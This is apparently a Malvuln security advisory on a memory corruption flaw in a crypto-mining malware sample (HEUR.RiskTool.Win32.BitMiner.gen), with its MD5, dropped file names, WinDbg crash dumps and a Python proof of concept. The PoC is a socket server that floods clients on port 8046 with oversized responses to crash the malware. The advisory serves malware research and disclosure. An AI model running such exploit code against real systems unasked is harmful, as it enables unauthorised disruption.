Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/b85ae73dbbfff1d3b90cb7c78356f2a3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR.RISKTOOL.WIN32.BITMINER.GEN
Vulnerability: Remote Memory Corruption 
Description: Null pointer write access violation on server response to an HTTP request to TCP port 8046. The program also connects to port 80 and respawns upon crashing.


Type: PE32
MD5: b85ae73dbbfff1d3b90cb7c78356f2a3
Vuln ID: MVID-2021-0009
Dropped files: SQLAGENTSI.exe, AutoRunApp.vbs, VBS.vbs
ASLR: False
Safe SEH: True
Disclosure: 01/02/2021

Memory Dump:
0:012> .ecxr
eax=0e4e3beb ebx=05d8b4c0 ecx=74d07084 edx=04370850 esi=05db2b00 edi=05d8b028
eip=05d8b4c2 esp=05c3ff0c ebp=05c3ff3c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
05d8b4c2 0000            add     byte ptr [eax],al          ds:002b:0e4e3beb=??

ExceptionAddress: 05d8b4c2
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 0e4e3beb
Attempt to write to address 0e4e3beb

0:012> !address 0e4e3beb
Usage:                  Free
Base Address:           0a860000
End Address:            5a2c0000
Region Size:            4fa60000
Type:                   00000000  
State:                  00010000  MEM_FREE
Protect:                00000001  PAGE_NOACCESS


The specimen has also thrown exploitable Guard page violation. A page of memory that marks the end of a data structure, such as a stack or an array, has been accessed.

ExceptionAddress: 2a8dd862
   ExceptionCode: 80000001 (Guard page violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 33036b23

0:012> .ecxr
eax=33036b23 ebx=2a8dd860 ecx=74d07084 edx=044c0850 esi=2a921548 edi=2a8ddf60
eip=2a8dd862 esp=05c0ff0c ebp=05c0ff3c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
2a8dd862 0000            add     byte ptr [eax],al          ds:002b:33036b23=??


Exploit/PoC:
import socket

port=8046
payload="A"*256
max_flood=666
c=0

def doit():
    global c,payload,port
    s = socket.socket()
    try:
        host = ''              
        s.bind((host, port))            
        s.listen(5)
        
        print('HEUR.RiskTool.Win32.BitMiner.gen / Remote Memory Corruption')
        print('MD5: b85ae73dbbfff1d3b90cb7c78356f2a3')
        print("By malvuln")
 
        while c < max_flood:
            c+=1
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
            if c==max_flood:
                break
    except Exception as e:
        pass


if __name__=="__main__":
    doit()


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